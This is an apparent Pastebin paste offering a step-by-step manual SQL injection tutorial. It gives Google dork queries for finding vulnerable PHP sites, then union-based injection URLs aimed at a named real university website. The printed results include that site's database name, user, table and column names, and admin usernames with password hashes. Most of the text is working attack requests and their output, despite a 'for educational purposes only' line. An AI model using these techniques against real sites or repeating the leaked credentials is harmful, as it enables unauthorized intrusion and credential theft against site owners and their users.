Advertisement
Kyfx

Another Manual Sql tutorial

Mar 25th, 2015
558
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.87 KB | None | 0 0
  1. Hacking a Website"
  2. Method: Basic SQL Injection Tutorial (Manual)
  3. Status: Beginners
  4. For educational purposes only.. smile emoticon
  5. Step 1: Find a website that is vulnerable to the attack.
  6. Try this in google:
  7. site:.kr "inurl:index.php?id="
  8. site:.kr "inurl:news.php?id="
  9. inurl:php?id=
  10. (in is for indian site but you can change it to other countries) :sleepy:
  11. For example:
  12. http://website.com.cn/index.php?id=5
  13. I got one sample vuln for you:
  14. http://mainpage.nwu.edu.cn/unit/ulsxy/english/content.php…
  15. Step 2:
  16. Add a ' (apos) at the end of the URL. Such that the URL looks like
  17. http://mainpage.nwu.edu.cn/unit/ulsxy/english/content.php…'
  18. If the page returns an SQL error like what you can see now in the site then the page is vulnerable to SQL injection.
  19. If it loads normally, leave the page and move on to the next site in the search result.
  20. Typical errors you'll get after appending the apostrophe are:
  21. Warning: mysql_fetch_array():
  22. Warning: mysql_fetch_assoc():
  23. Warning: mysql_numrows():
  24. Step 3:
  25. Enumerate the number of columns and those columns that are accepting the queries from you.
  26. http://mainpage.nwu.edu.cn/unit/ulsxy/english/content.php…--
  27. http://mainpage.nwu.edu.cn/unit/ulsxy/english/content.php…--
  28. http://mainpage.nwu.edu.cn/unit/ulsxy/english/content.php…--
  29. http://mainpage.nwu.edu.cn/unit/ulsxy/english/content.php…--
  30. Continue until an error occurs. The highest number for which you do not get an error is the number of columns in the table.
  31. Step 4:
  32. Know the column numbers which are accepts queries.
  33. For example from Step 3, you got 8 columns available, simply apply this:
  34. http://mainpage.nwu.edu.cn/unit/ulsxy/english/content.php…--
  35. (Please don't forget to put minus or hyphen after the "id=")
  36. Now, it will show you some numbers. Those are the column numbers which accepts queries or should I say "the vulnerable columns".
  37. So you got the numbers 2,3. You can inject in any of those numbers your SQL statements but I would like you to use the first number for good results. smile emoticon
  38. Step 5:
  39. Enumerating the Version of SQL
  40. Replace the most vulnerable column with "@@version" or "verson().
  41. http://mainpage.nwu.edu.cn/unit/ulsxy/english/content.php… +select+1,@@version,3,4,5,6,7--
  42. Result: 5.5.1-m2-log
  43. If the site has a version higher than 5 then we are good to go. But if it is lower, we should have to follow some other ways because there is no database by default like "information_schema" which stores information about tables/columns of other databases in version less than 5. In this case, we are in.
  44. Step 6:
  45. Exploiting
  46. To know the database in use:
  47. http://mainpage.nwu.edu.cn/unit/ulsxy/english/content.php…(database()),3,4,5,6,7--
  48. Result: Lishi-en
  49. To get the current user:
  50. http://mainpage.nwu.edu.cn/unit/ulsxy/english/content.php…(user()),3,4,5,6,7--
  51. Result: Lishi@localhost
  52. To get the list of tables, we will now insert the group_concat
  53. http://mainpage.nwu.edu.cn/unit/ulsxy/english/content.php… from information_schema.tables%20where%20table_schema=database()--
  54. Results: Bigtype,contents,smalltype,users
  55. To get the list of columns:
  56. http://mainpage.nwu.edu.cn/unit/ulsxy/english/content.php… from information_schema.columns where table_schema=database()--
  57. Results:
  58. Big_id,big_name,big_desc,big_width,c_id,c_title,c_content,c_big,c_small,c_time,c_sort,small_id,small_name,small_desc,small_big,u_id,u_name,u_pwd,u_question,u_answer,u_access
  59. 3
  60. Step 7:
  61. Extracting datas
  62. Now our main objective is to look for the admin's username and password. Lets go for the nearest suspected tables and columns where we think contains the admin's username and password.
  63. Suspected Tables:
  64. users
  65. Suspected Columns:
  66. u_name, u_pwd
  67. So lets extract them. smile emoticon \m/
  68. http://mainpage.nwu.edu.cn/unit/ulsxy/english/content.php…
  69. Results:
  70. username:password
  71. adminadmin:*514FC2971F3E94BB16F25C396219DFDF01D02443
  72. nwuhistory:*FAB9E64D166DE9E99C07AB1A22808BF060BCCCE8
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement